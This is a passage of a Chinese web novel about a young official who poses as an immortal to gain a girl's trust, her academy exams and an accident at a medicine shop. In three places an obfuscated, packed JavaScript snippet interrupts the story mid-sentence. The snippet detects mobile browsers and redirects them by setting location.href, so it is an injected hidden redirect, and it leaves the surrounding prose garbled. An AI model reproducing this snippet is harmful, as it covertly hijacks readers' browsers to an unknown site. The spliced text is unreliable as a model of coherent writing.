他抬眸不解,阮歆梨眯弯着眼含笑询问道:“听闻神仙只需掐指一算便可知晓前尘,你既是此间地仙,一定也能看出我与琉璃盏间的机缘吧?不如你算一算,我与它之间的事?” 昨日回去后,她越想越觉得奇异,对月竹这个神仙又起了疑心。 翻了好几本小书,正好看到太白金星掐指一算,便算出了放牛郎是如何得到宝葫芦,贼人又是如何将宝葫芦偷走。 既然月竹也是神仙,算一算她是如何得到琉璃盏,定然也不是什么难事。 以此一测,如若他能算得准,她便信他!如若算不出,就说明他法力低微,或者是心怀不轨,在这里装神弄鬼! 狡黠的神色显露于面,顾明池看着洋洋得意的“小狐狸”,捻着竹叶不禁一乐。 这可真是问巧了! 顾明池微微抬首,学着神像屈膝盘坐。他将手搭于膝头,三指轻动,随后收手一笑:“你如今年方十岁,此物是生辰之时,他人相赠,对否?” 阮歆梨神情一愣,随即震惊点头道:“是!你好厉害啊!还能算出其它的么?” “其它的啊......” 面具之下瞳眸轻转,顾明池瞥着包裹中的那一小张签纸,胡乱掐指试探道:“奇怪......” 阮歆梨心头一提:“怎么了?” “嘶——”顾明池指向签纸道,“昨日你说这琉璃盏会吐签纸,告知吉凶。吾算得你与它机缘匪浅,当是不止这一张签纸才是。” “确实如此!”阮歆梨拿起签纸展开道:“这样的签纸有两张,但是另一张好像被我弄丢了,不知去了哪里,纸上内容与这张相似......” 顾明池抬手打断,飞快地瞄完了第一张签纸上的内容,随后神情莫测道:“先别说。” 阮歆梨闭嘴眨眼,只见面具下的薄唇轻抿,他看起来似乎有些不太高兴。 “你让吾测算机缘,是不信任吾。” 月竹语气肯定,阮歆梨转着小眼睛底气不足道:“阿梨只是第一次见着神仙,对此很好奇......” 面具之下的眼眸幽暗深邃,被它沉沉注视的阮歆梨垂头小声道:“对于凡人而言,突然遇见神仙,有所怀疑也是可以理解的嘛......” 坦然言说的阮歆梨偷偷掀眸观察月竹的神色,容颜半遮,虽然看不出他具体神情,但从他微松的唇角来看,大概是没再认真计较。 “所言虽可理解,但吾不喜被人猜测。”顾明池故意压低了声严肃道:“此次试探,吾可顺之,若再有疑处,吾定离去。” 明白自己屡次怀疑试探,必然会令月竹察觉恼火。 阮歆梨当即立指允诺:“阿梨发誓,只此一次,往后不会再怀疑月竹!” 得到应允的顾明池点了点头:“吾已算得另一张签纸的内容,你且听听,对否。” 在阮歆梨期待的注视下,顾明池缓缓开口,打消了她最后一丝怀疑:“这第二张签纸,所指之日乃五月初二,凶兆,与你母亲有关。” 全部都被说中了! 这回阮歆梨被震惊得彻底说不出话,当下所有疑虑全消。 趁着阮歆梨还在呆愣,顾明池偏头看向躲在远处同样呆愣的崔参。 看到崔参无意识地将炉火越扇越猛,顾明池偷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15292904|164541||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 偷动了动嘴,以唇形示意道:“别扇了,会露馅。” 从震惊中回神的崔参赶紧熄了炉火,猫着腰偷偷躲远,顾明池轻抖衣袖,不动声色地将逐渐透出呛鼻之味的烟雾悄悄驱散开来。 振动的袖摆暗纹流光,云纹花样在林中萦绕的雾气中随风而动。 半面诡艳,半面圣洁。 阮歆梨看着月竹既矛盾又融洽的面容,彻底相信了这个神秘的地仙。 “先前是阿梨鲁莽,还请您莫要见怪!” 顾明池喜色不显,压了压唇角稳声道:“吾非小气之神。” 得了月竹不会计较的许诺,阮歆梨不禁松了一口气。 她小心地捧起琉璃盏问道:“那您可以带我去见见它的主人么?阿梨想知道往后还会有什么危险,阿梨又该如何去帮助家人化险。” 顾明池接过琉璃盏,在阮歆梨满怀希冀的目光中迎月细看,半晌后轻轻摇了摇头:“吾只能断定此物乃仙界所有,但不能确定究竟是哪位仙友所属。不过,吾可尝试替你探听一二。” 听到暂时还是无法弄清楚琉璃盏该如何使用,阮歆梨失望地垂了眼眸。 琉璃盏第一次显灵,阿爹避开了危险,但是郝神医命丧火海。 琉璃盏第二次显灵,阿娘险险躲过朋友的坑害,但还是因为过失而被陛下禁了足。 两次危机都是堪堪化解,若是她能知道如何使用琉璃盏,得到更多的线索,或许就能避开这些意外,帮助家人更安稳地解决危机。 未知的恐惧害怕袭满心头,心神不宁的阮歆梨茫然低问:“那阿梨现在该怎么办,阿梨不想家人出事......” 杏圆的眼眸旁泛起红晕,珠眸之中水雾蒙溢,顾明池抬手抚了抚她的发顶:“既然神灵选择了相助,自然会在危急之时再显神通。静心等候,莫要担忧。” “真的么?它会一直帮助阿梨么?” 她看向他的目光明亮灼人,想起自己也曾在这般无助之境中,担忧、恐惧、期待。 明白这种无奈感的顾明池,向如今陷入同样困境的阮歆梨,递去一根可以令她心安的稻草:“会,若是琉璃盏不再助你,吾会。” 心中的恐惧骤然散去,隔着眸中水雾,阮歆梨看着坚定许诺的月竹渐渐心安:“谢谢你!” 顾明池将第一张签纸收起,又从袖中取出一串银铃交于她:“日后琉璃盏若是有了消息,你便将铜铃挂于此处,吾见到自会去寻你。” 阮歆梨小心地接过银铃,将它与琉璃盏一同细致地包裹起来。 明白又该与月竹分开了,可她抱紧了包裹,望向他的眸中满是依赖。 此时的阮歆梨像极了害怕随时会被抛弃的小猫,依在可以给她带来安心温暖之处不舍离去。 对视良久,沉默的顾明池轻叹一笑:“回去吧,即使琉璃盏没有消息,若是害怕,你也可以挂铃寻吾。” 阮歆梨瞳眸微亮:“真的么?” 顾明池点头许诺:“吾从不食言。” 犹豫片刻,阮歆梨伸出了小指。 想起先前她将他错认为狐妖,也是这般与他约定,拉勾对她而言,好像就是一颗定心丸。 顾明池伸手与她相勾。 这一次,他主动约定道:“拉勾为定,若吾骗了阿梨,吾便是小狗。” 这是他给她编纂的一堆谎言中,最认真的承诺。 31. 第 31 章 “总之,接下来几日,大家一定要努力勤奋,好好温习先前所学内容,愿你们都能在下月初三的考核中,取得理想的成绩。” 杨司业话音刚落,下课的钟声正好响起。司业前脚走出明心堂,刚刚回神的阮歆梨伸着懒腰抱怨道:“终于下课了,我最怕听司业讲规矩了!他总是板着脸,讲得内容还总是让我忍不住打瞌睡!” 半晌无人接话,眯着眼享受放松的阮歆梨察觉出一丝不对劲。 她抻着手臂左右探看,只见以往下课就会变得生龙活虎的同窗们,这会全成了被霜打蔫的可怜小白菜,各自坐在座位上愁眉苦脸。 这都是怎么了?阮歆梨疑惑地看向旁边的方绾一。 方绾一的神色倒是如常,只是手上已经拿起了下节课的书本,看起来有些忙碌。 看着大家突然的改变,阮歆梨有些茫然:“一一,你们今天都怎么了?下课都没人说话玩乐。” “刚刚司业的话你没听到么?” 阮歆梨回想一番,杨司业的话实在是太多了,她都是左耳进右耳出,根本没过脑子:“听了一点点,好像是让我们努力勤奋,好好学习。” 明白她这是又神游了一节课,方绾一只得提醒道:“你最近也上点心吧,下月初三是第一次大考。” “大考?”阮歆梨愣了一下:“考什么?” “你不知道么?”坐在前方的秦朗回过头乐道:“太好了,看来这次还不一定是我垫底!” 还没等阮歆梨有反应,秦朗已经头上挨了一巴掌:“哎哟!” 沈良朝板着脸收回手,身形高朗的他低眸冷睨道:“还有六天时间,你先想想秦大人和秦夫人会拎着你哪只耳朵出门吧。” 被他娘拧怕了的秦朗,条件反射地捂上自己的耳朵,听到旁人的笑声,又尴尬地揉了揉耳根道:“只剩六天了,平日里就我和阿梨被先生点名最多,这倒数第一可不就只在我和她之中么......” 这会阮歆梨终于听懂了一些,学院要进行大考,倒数第一很可能就是她或者秦朗。 看秦朗害怕的样子,她有些不安道:“倒数第一是有什么可怕惩罚么?” 想起杨司业每日随身携带的半指宽长板,怕痛的阮歆梨不禁小脸一白:“不会是要挨杨司业的长板吧?” “真要只是挨杨司业一顿长板打,那就不用这么忧心了!” 秦朗耷拉着眉眼叹气道:“大考分数是要张贴在盛京院门口的,最后一名还会被请父母来院交流学习情况。” 阮歆梨眉心一松,她还以为多可怕的惩罚,原来只是贴成绩,请父母...... 见阮歆梨神色转变,秦朗便知她定然想得简单。 秦朗单肘搭上阮歆梨的桌案,与她细细分析道:“你以为这些惩罚很轻松?首先,放榜那日,正好是休学日,各家都会有人来接,你想想门口乌泱泱的都是人,你那一点点分数贴在门口......” 秦朗一边说着,一边用自己的指尖掐了一毫毫距离:“你想想你家里人看到榜首的成绩,再看到你这个榜尾的成绩,心中会作何想?” 阮歆梨眨眨眼,根据以往分析,阿爹大概不会如何,至多叨叨她几句。至于她阿娘...... 虽然她阿娘不屑行文弄墨,但是对她的学习好像格外认真。特别是她先前落了一堆把柄在她阿娘手中,若是让她阿娘来了学院,司业再把她在学院里掏鸟蛋,设陷阱吓先生的事说出来...... 阮歆梨猛然一激灵,不行!不能让司业有机会跟她阿娘告状! 阮歆梨掰着手指细算,如今她们开设七学,成绩分为三等,取七学均值为总等级。全院一共三十八名学生,最后五名为下等,回想她每次的小考成绩...... 不算不知道,除了射、律二学,其他五学她竟然都是下等! 阮歆梨苦着脸看向方绾一,试图给自己寻个同伴:“一一,你平时小考如何啊?” 方绾一谦虚安慰:“我学得不好,小考成绩也很一般......” “七学四上二中,只一门‘射’为下。”秦朗替方绾一说了实话:“人家这个成绩定然是中上的。” 阮歆梨又期待地看向沈良朝,看着她那双希冀明亮的眼眸,一直以成绩为傲的沈良朝,一时之间竟炫耀不出口。 他在她的灼灼注视下,支吾犹豫道:“我......我也成绩一般......” 秦朗插话拆台:“良朝兄只一门‘乐’为中等,其他皆是上等。” 阮歆梨:“......” 失落地转走目光,她望向正和太子同席而坐,拿着一件不知是什么奇怪铁环物件的彦清—— 彦清和后排的同窗先前没有学过太多东西,那应该会和她一样,学得也很一般吧? “呵呵。”顺着阮歆梨的目光,秦朗不禁一声哼笑:“殿下和彦清是唯二全学上等。” 阮歆梨还没来得及回头后看,秦朗已经开口道:“后排的同窗,也只有两人均值下等,但也在你我之上。” 阮歆梨:“......” 那这最后一名不就铁定只会在她与秦朗之间决出了? 她睁着水灵灵的眸子望向秦朗,秦朗赶紧摇头道:“我可不会让你,要是我拿最后一名,我娘是不会让我竖着出盛京院大门的!” 求助无望,阮歆梨拽住自己两边垂落的长辫,一头扎在了桌案上:“那阿梨岂不是完蛋了!” 见她无甚精神,方绾一赶紧鼓励道:“还有六日呢!阿梨本就聪慧,这几日多多努力,不见得就一定会倒数。” 沈良朝也马上附和:“没错,六日时间,你若有不懂的,我和方小姐可以帮你。” 一旁的秦朗当即不服:“哎?你刚刚不还说只六天时间,我就只有等着挨揍得份么!怎么到她这就成了大有希望!” 秦朗嚷嚷得大声,坐在最前方的太子与彦清也回过了头。 太子的视线在沈良朝泛红的耳尖上掠过,随即含笑道:“她有良朝与方小姐两大助力,自是与你这单打独斗不同。” “啊?我算不得什么助力......” 方绾一低声轻语,莹白小脸突然红霞晕染。 阮歆梨看着突然脸红的方绾一,小声关心道:“一一,你怎么脸这么红,是哪里不舒服么?” “嗯?”方绾一匆忙捂脸低头:“没......大概是天气闷热的缘故。” 听到方绾一的回答,最近正好在研习医经的太子看向她道:“近来暑热渐起,方小姐若是身子不适,还是早些调理才是。我最近刚好习得一个解暑益气的方子,若是方小姐信得过,也可拿回去试一试。” “我自是信得过!” 话一出口,太子也是微微怔愣。 意识到自己方才的反应太过,方绾一低了首平稳着声道:“多谢殿下赐方。” 太子回神轻笑:“方小姐不必客气。” 阮歆梨的视线在两人之 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15304064|164541||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 间游移,好像每次遇及太子,方绾一都会变得怪怪的。 “看来此次大考大家都是胸有成竹,钟声已响,却还有闲情在此聊天。” 顾明池路过秦朗与阮歆梨时,视线还特地多停留了一会。 正好对上他的视线,阮歆梨觉得他这是意有所指。 “顾先生!您快点和我们透些题吧!” 不同于其他先生,顾明池年纪轻,比他们这些学生也大不上几岁。而且他的性格好,总是温温和和面上挂笑,学生们都很喜欢他,平日里也常与他嬉笑玩闹,面对他时,胆子也格外得大。 面对学生们的哀求,顾明池并未答话,只是挑眉竖指左右摇了摇。 得了顾明池的拒绝,大家也不是特别失望,毕竟几门课中,顾明池的课最受欢迎,大家学得也是最好。 秦朗最是心直口快,拿着书叹气道:“顾先生不透题也罢,如今律学也救不了我的狗命。” 想想自己的成绩,阮歆梨发现自己唯一的上等便是律学。 一是顾明池的课确实有趣,经常会说一些奇奇怪怪的案子。二是他这个人也很奇怪。明明总是温和含笑,但是阮歆梨就是觉得他的笑不怀好意。 她每次神游回来,都正好会对上他眯弯的眉眼,让她心头一虚。 久而久之,她在他的课上,走神的次数越来越少,学的成果也最为显著。 秦朗还在算着自己的成绩,撑着侧脸无精打采道:“七学丢了五学,我要怎么拯救我的大考啊!” “也不一定哦。”坐在上方的顾明池睨了他一眼:“或许这第八门你可以取得好成绩。” “第八门?” 顾明池的话激得满堂惊问,连一向最守礼数的太子都忍不住直问道:“如今我们只接触了七学,何来第八门?” “太傅没和你们说么?”顾明池随手翻了一页书道:“‘纸上得来终觉浅’,昨日太傅与司业商量,决定给你们加一场践行考。而这一考会占据最终考评的五成。” “五成!”秦朗瞪圆了眼,顿时抱起希望欣喜道:“也就是说只要这一门考核上等,我便不用担心成为倒数第一了!” 阮歆梨和秦朗互看挑眉,对这一门都是势在必得! “那这一门如何考核,考什么内容,太傅可有言说?” 顾明池摇头示意不知,众人又回头望向彦清:“彦清,你如今随侍在太傅身边,可有听他说起过?” 突然被所有人注视,彦清尴尬摇首:“我只在太傅居处负责洒扫,考核之事自是不曾听说。” 想来也是,连顾先生与太子都不知晓,彦清又能了解多少? 大家也没有再追问,原本对大考胸有成竹的学生,也开始忧愁起来。 一整节课都在挂念着第八门考核,直到放学的钟声响起,阮歆梨这才收回了神思。 明日休学,珍儿早已收拾好东西候在学堂外,只等阮歆梨出来便可直接回府。 她抱着书袋与珍儿一同向外走,几步之后才察觉身后一直有人跟着。 猛然回头,身后的人也跟着一顿,阮歆梨看着顾明池疑惑道:“先生为什么一直跟着阿梨?” 顾明池语顿,片刻后抵拳干咳道:“最近嗓子不舒服,好像染了风寒,所以打算去将军府寻阮大夫看一看。” 风寒? 阮歆梨抬头看了看已经被晒蔫的树叶,神情满是困惑。 六月天竟然还能染风寒,他怕不是有大病吧? 32. 第 32 章 因着林枝意被禁足,每次休学时,左青都会抽空亲自来接阮歆梨。 今日阮歆梨同往常一样,一出门就在张望寻找左青的那匹枣红大马,然而寻看一圈也没见着左青的踪影,一旁的珍儿眼尖地看到了随侍在阮知闲身边的小厮:“烛生!” 珍儿挥手吆喝,烛生连忙跳下马车相迎,他接过阮歆梨手中的书袋笑道:“小姐这几日在书院过得可好?知道您今日回府,云嬷嬷一早便张罗厨房,给您备好了爱吃的糕点与糖水。” 跟着烛生走向自家马车,阮歆梨奇怪道:“今天怎么是你来的呀,青姨呢?” 烛生面带喜色高兴道:“昨夜宫里来了旨意,提前解了将军的禁足令,所以今儿一早左副将便随着将军去虎腾营了。” “阿娘不用被禁足了?” 刚刚踏上脚凳的阮歆梨一喜,跟在她身后的顾明池伸手扶道:“小心点!” 借着顾明池的力在马车上站稳,阮歆梨急急追问道:“陛下怎么突然解了阿娘的禁足?” “这还得多谢顾大人!” 阮歆梨看向顾明池,烛生向她解释道:“顾大人根据阿木那入关以来的行踪,派人四下搜寻他的住处,寻到了阿木那未烧完的书信,其中便有那弋部落的印记,还有一封薛副将与他共同设计陷害将军的书信。” 有了这些书信,虽不能完全证明林枝意的清白,但也大大减轻了她的嫌疑,可堵悠悠众口。 阮歆梨看着神色平静的顾明池,一时之间也不知该如何道谢。 “阿爹在家么?” “老爷?”烛生摇头道:“将军出门后,老爷便去了回春堂,此时应当还未归府。” “那我们先去回春堂。” 阮歆梨向着马车旁的顾明池伸手,看着那只逐渐有了纤长雏形的白玉小手,顾明池神色微疑。 他不解地抬眸看向阮歆梨,她晃了晃自己的手道:“先生不是说染了风寒?阿爹不在家,我们去回春堂找他。” 看着自家小姐还没人三个手指粗的手腕,烛生赶紧上前准备搀扶:“小姐,您先坐好,小的扶顾大人上车即可。” 话音刚落,顾明池已经搭上嫩葱般的指尖,轻巧地跃上了马车。 阮歆梨伸握了一下自己的手指,对着烛生显摆力量般地转了转手腕。 呐,搭把手多简单的事,她也是可以轻松做到的! 觉得自己帮到忙的阮歆梨喜滋滋地钻进了车厢,烛生挠了挠自己的脸颊,感觉自己的好心好像换了个里外不是人。 马车缓缓驶动,阮歆梨靠在窗边哼起了小曲,顾明池盯着她看了片刻,也笑着望向了窗外。 回春堂门面不大,但因着阮知闲的名气,堂内常是人满为患。阮歆梨下车时,回春堂看诊的队伍已经排至了门口。 “阿爹!”她从队伍中钻缝而过,刚刚趴到桌案旁,正在诊脉的阮知闲冲她比了一个安静的手势。 看诊禁打扰,想起阮知闲的规矩,阮歆梨紧闭嘴巴点了点头。 问诊开方,看着对方道谢离开。阮歆梨赶在下一个病患坐下前,与阮知闲耳语道:“阿爹,顾先生染了风寒,你可以替他看看么?” “风寒?”阮知闲诧异抬头,顾明池站在队伍末端向他施了一礼:“阮先生先忙,晚辈不急。” 阮知闲微微点头,拍了拍阮歆梨的脑袋道:“你先去一旁自己玩,等阿爹看完前面的患者,便替顾先生看一看。” 见阿鹤在药柜前整理草药,阮歆梨乖巧点头:“那阿梨先去帮阿鹤哥哥忙。” 排在末尾的顾明池闲来无事,给后来的两个病患让了位,他便自行在回春堂内转悠起来。 回春堂内本有三位大夫,一位是偶来坐诊的郝神医,可惜佥事府一场大火,老先生没能逃出来。一位是阮知闲,若将军府中无事,他便会来回春堂帮忙,只要是他坐诊,回春堂外必然排起长龙。 还有一位便是陶大夫,回春堂内的事务基本都是他在打理。若是遇上郝神医或者阮知闲在堂内,基本他便可落得一日清闲。 就比如现在,看病的人都挤去了阮知闲那边,陶大夫便闲在柜台前当起了账房。 陶大夫噼啪打着算盘,闲着无聊的顾明池看到一旁搁放的医书道:“不知可否借您的医书一看?” 陶大夫停下手中的活,瞥了眼倒扣的医书道:“这医书是阮先生的,不过他应当是不介意旁人翻看的。您请自便。” 阮知闲的医书? 赶了巧的顾明池微笑道谢,他随手翻了几页,看到书中笔墨批注后,拿着书不动声色地转到了清静一角。 顾明池坐入竹藤椅中摆出闲适之状,眼角余光四看,趁着无人注意,两指探入袖中夹出一张纸条插于书缝之中。 手指按着纸条轻移,左边是他从阮歆梨处拿来的两张签纸,右边是阮知闲写在医术上的随笔,顾明池垂眸细看—— 月初七那张签纸,笔力强劲但行笔形乱,书写者似乎不善书法。 五月初二的签纸,字迹遒劲,整体书写行云流水,与第一张签纸显然不是出自同一人之手。 而阮知闲的随笔,恰如其人,字迹端方优雅。虽和第二张签纸一样,功底深厚,但签纸上的字钩尖之处更显锋利,尾笔飞扬,可见书写之人气性傲然。 三者相较,笔迹尽不相同。 顾明池将签纸收回袖中,手指敲点书页陷入沉思。 这两张签纸的内容皆是意有所指,显然是想借阮歆梨之手来提醒阮知闲和林枝意避开风险。 写签纸的人为何不直接提醒他们夫妻二人,又为何要借一个孩子之手? 小孩子做事终是容易出纰漏,既然对方敢利用这个天真的小麻烦精,定然是十分了解她,对她具有可控力。 顾明池猜测这个人很大可能就是她身边亲近之人。 他本以为是林枝意或者阮知闲所为,然而经过字迹比对,签纸上的字与他们夫妻二人的字迹皆比对不上。 或许是他猜错了人,也或许是他们二人刻意改变了字迹。但不管怎样,靠字迹找出写签纸之人,这条路大抵是行不通了。 “阿鹤哥哥,这是什么草药?” “那个是连翘。” 阮歆梨站在药柜旁寻找标有“连翘”字样的抽屉,视线扫过上方六排第二柜:“找到了!” 她踮脚试了试高度,伸直了手指,指尖连抽屉上的牛鼻扣也够不到,只得挎着药篮往梯子上爬去。 今日堂内人多,阿鹤一早便忙着抓药煎药。这会又熬出一锅汤药,他才想起连翘应当是在药柜上端。 用指尖小心端着药碗边缘,阿鹤耐着烫斯哈道:“小姐,那些草药放得位置高,您放那,等会我来整理便是......” 转身之间,看到竹梯上半截身子外探,只一手抓着扶手的阮歆梨,阿鹤不禁急呼:“那梯子不稳!不能这么用!” 话音刚落,靠在药柜上的竹梯突然打滑,刚刚扒上抽屉的阮歆梨急促一呼,便连带着药篮、抽屉,一同坠了下去! 顾明池是在阿鹤出声时才留意到阮歆梨爬上了竹梯,刚刚起身准备去帮她,就突然起了变故! 匆忙间,顾明池被桌案绊了个趔趄,眼见人已坠落,他只来得及伸手一扑,用自己的手臂替她化了冲劲,挡下所有的磕砸碰撞。 除了力度的撞击,并未感觉到其他疼痛,坠入一片温软中的阮歆梨止了尖叫,慢慢睁开了眼。 柔软的玉白云缎紧贴鼻尖,雅香萦绕,她终于嗅出了顾明池身上的香味为何。 那是和她阿爹的花圃极其相似的白花清香,同时还混着比思过堂内更为清浅的温暖木香。 香如其人,淡雅温和,倒是挺适合他的。 “你们两个如何?可有哪里受伤不适?” 阮知闲匆匆询问,阮歆梨自顾明池怀中坐起身:“阿梨没事!” 身后突然一声闷哼,她回头看向刚刚扶着她起身的顾明池,神情如常,但是面色有些苍白,看起来好像哪里不太舒服。 见两人无事,阮知闲不禁松了一口气。 下一瞬,他又盯着险些闯祸的阮歆梨,沉了脸色训斥道:“行举毛躁,与人添乱!你何时才能成长,学会照顾自己!” 突然的严厉呵斥, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15314477|164541||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 打断了阮歆梨尚未来得及问出来口的关怀。 她茫然地望向面色难看的阮知闲,不明白一向对她温和包容的阿爹,这次为何如此盛怒。 “我......我只是想帮阿鹤哥哥,没想到梯子会滑倒......” 一旁的阿鹤也未见过阮知闲发这般大的火,看着受了惊吓又挨训的阮歆梨,他心有愧疚道:“先生,小姐也是好心帮我!那梯子本就有问题,是我没及时处理,也没事先提醒小姐......” 阮知闲抬手一止,他沉眸皱眉道:“助人先度己力,鲁莽行事只会给人添乱,甚至将自己置于危险之中!” “阿爹你说过要有助人之心,阿梨真的只是想帮忙,也没想到会从梯子上摔下来,阿梨也不想帮倒忙......” 泪水盈满瞳眸,阮歆梨茫然无措地看着她的阿爹,她不仅没有得到他一声温和的安抚,训斥之语却一句比一句严厉:“是,你不想,但是你做事之前就该考虑后果。今日若不是顾大人护着你,轻则摔伤,重则......” 阮知闲捏指握拳,想想可能的后果,竟也说不出口,只心中一阵后怕。 “平日里,我与你阿娘还是太护着你,以至于你总是做事不计后果。” 阮知闲神色复杂地看着阮歆梨,半晌后终是不忍心地蹲下身,摸着她的脑袋垂眸道:“我与你阿娘终有离开你的那一天,到那时没有阿爹,没有阿娘,没有旁人的帮助......阿梨,你得学会照顾自己。” “怎么会没有阿爹与阿娘?” 她不明白阮知闲为什么突然这么说,也从未想过这种可能。 “阿梨不会离开阿爹阿娘,每年除夕阿梨都有认真许愿,要一家人平平安安永远在一起!” 泪水糊满了原本莹白干净的小脸,她扑进阮知闲的怀中,紧紧抱着他的脖颈哭泣不止。 阮知闲还想再说些什么,一直未语的顾明池缓声道:“阮先生想阿梨快些成长的心情可以理解,但这并非一夕之事,总要给她一些时间去适应改变。” 看着莫名心急不安的阮知闲,顾明池心中也是一阵迷惑,总觉得他对阮歆梨的培育有些操之过急。 慢慢拍抚着抽泣不止的女儿,许久后阮知闲才轻声愧语:“对不起,阿爹也不是有意凶你,阿爹只是希望,如果某一天我......或者你阿娘不在时,只你一人也可以把自己照顾得很好,不要让我们担心。” “阿梨不要!” 听到阮知闲的话,呜咽的阮歆梨倏然哭得更加大声,阮知闲微愣,终是不忍道:“好了好了,阿爹只是随口一说。阿梨开心就好。” 哭泣的声音渐渐变小,顾明池扶着药柜慢慢起身,抬手时修眉微皱,他不甚标准地拱手道:“明池突然想起还有些事没有处理,这便先行告辞了。” 阮知闲哄着阮歆梨起身,看着顾明池有些不好意思道:“阿梨说顾大人身体不适,也没来得及给你诊脉......” “无妨,回去休息休息便好。” 顾明池垂着手绕过柜台,阮歆梨想起先前那声闷哼,看着他的背影出声道:“顾先生,刚才阿梨是不是砸......” “砸什么?”顾明池闻声回头,他看向她委屈哭红的双眼,抬起左手轻捏了一下她的脸颊:“你这点重量,还用不上‘砸’这个字。” 见她神情还有些担忧,他牵了牵唇角道:“好好准备大考,若是还像今日这般莽撞,这第八门考试,你可就过不了了。” “第八门考试?”阮知闲也不禁好奇:“不是暂时只有七学么?” 听了顾明池的提醒,阮歆梨倏然精神:“你知道第八门考什么!” 顾明池眉头轻动:“大概猜到了一点,但是天机不可泄露。” 提及大考,阮歆梨的心思很快便被转移开来。 但是不管她怎么问,顾明池也不肯再多说一句。 回家思考许久,阮歆梨想着等回学院一定要再找顾明池好好问一问。 然而她还未来得及去寻顾明池细问,第三张签纸便突然出现。好巧不巧,签纸上的时间正是第八门考试那日。 33. 第 33 章 “大人,这骨头是正好了,这几日您可得悠着点,别瞎折腾它,不然往后难受得还是您自己。” 屋内药油苦味浓重,崔参一边搓着手上难祛的油感,一边忍不住吐槽着:“您去趟回春堂,怎么还能受了伤?而且这骨头复位对于阮大夫而言,就是手拿把掐的事,您怎么没让他帮您治,还一直忍回来?” 半裸的肩背因为疼痛沁满汗水,薄唇血色轻淡,顾明池用毛巾仔细擦拭好肩背,随手拉起衣服道:“杀鸡焉用牛刀,一点小伤而已,你也能治,又何必耽搁回春堂里其他病人求诊。” 正在搓手的崔参一顿:“可这难受得不是您自己么?再说了,您这手臂也是为了护阮家小姐才伤着的,就算阮大夫再忙,帮忙一看也是合情合理。” 崔参自幼便随侍在顾明池身侧,两人一同长大,他早已将顾明池看做亲人。别人不清楚顾明池这些年来是如何一人成长度日,但是他很清楚。 哪怕内里早已被伤痛戳成了蜂窝,在外也依旧是一副温和含笑的模样。 看到顾明池这副浑不在意自己身体的模样,崔参既心疼又有些恼火。 顾明池倒是真没觉得这点伤是多大的事。正如崔参所说,当时若是让阮知闲替他一看,也不过是顺手揉捏,几息便能处理好的事。 但是看到那个小麻烦精已经被训得蔫成一团,他便不想吱声,免得因为自己的伤,让她又被添上几句呵斥。 那样倒是显得他一个大男人异常矫情,跟故意欺负小孩一样。 想到阮歆梨哭得眼泡红肿,那副委屈又可怜的模样,顾明池勾唇浅笑道:“你就当是我那点良心又痛了吧。” 崔参:“......” 行吧,多说也无用,他开心就好。 “对了,竹林那边可有找人盯好?” 自从那夜与小麻烦精做好约定,顾明池便一直命崔参盯着竹林那边的情况。然而琉璃盏背后的神就如突然蒸发了一般,再也没有动静。 “一直有人在那盯着。” 阮歆梨一直没有去挂过银铃,崔参也有些担心道:“会不会是阮小姐事后又察觉出不对,所以才没再联系?” 被发现是骗局了么? 顾明池思索片刻摇了摇头:“应当不会。若她发现月竹为假,一定会挂银铃将我引出,然后当场揭穿。” 想起她面对阿木那时的执着狠劲,顾明池点评道:“她才不是那种吃了亏,还能憋憋屈屈,迷糊混过去的人。” 如今也没有其他线索,顾明池无奈道:“本来就是死马当活马医,再等等看吧。” “大人!有动静了!” 顾明池话音刚落,负责蹲守竹林的小厮便匆匆跑进了院落:“大人,银铃挂上了!” 蹲了近一个月也没什么收获,刚刚看到阮歆梨偷偷摸摸进去挂了银铃,小厮也不禁欣喜:“就是方才!阮小姐进了竹林,将银铃挂在了您说得位置!” 小厮将银铃递上,顾明池轻轻晃了晃铃铛:“好,这些日子辛苦了。按我先前说得布置好,若有人暗跟上她,及时提醒。” “是!” * 因为不知道月竹何时会来,天一黑,阮歆梨便早早地来到了竹林。 奇怪的是,她在林中并没有看到月竹的身影,但是他常坐的那块巨石上,不知何时已经提前放好了一碟糕点。 阮歆梨端起糕点仔细看了看,小巧精致,品相不错,闻起来带着淡淡的香甜味。 她看看左右无人,人未到而先放了糕点,明白这应当是月竹提前为她准备的。 捧着糕碟坐在巨石上,阮歆梨悬空着双腿,捻起一块小兔子形状的糕点,用舌尖试了试味道。 口感松软,甜而不腻,好像还不错! 确定没添加什么奇怪的东西,刚好只吃了几口晚饭便急冲冲跑出来的她,抱着糕点一小口一小口地吃起来。 顾明池走进竹林时,阮歆梨正晃悠着两条小短腿吃得两腮鼓鼓。 她今日穿了一身梨白窄袖裙,衣边发饰均以粉色缎带点缀。 白粉相间,腮帮鼓动,倒是和她手中的兔子糕点格外相像。 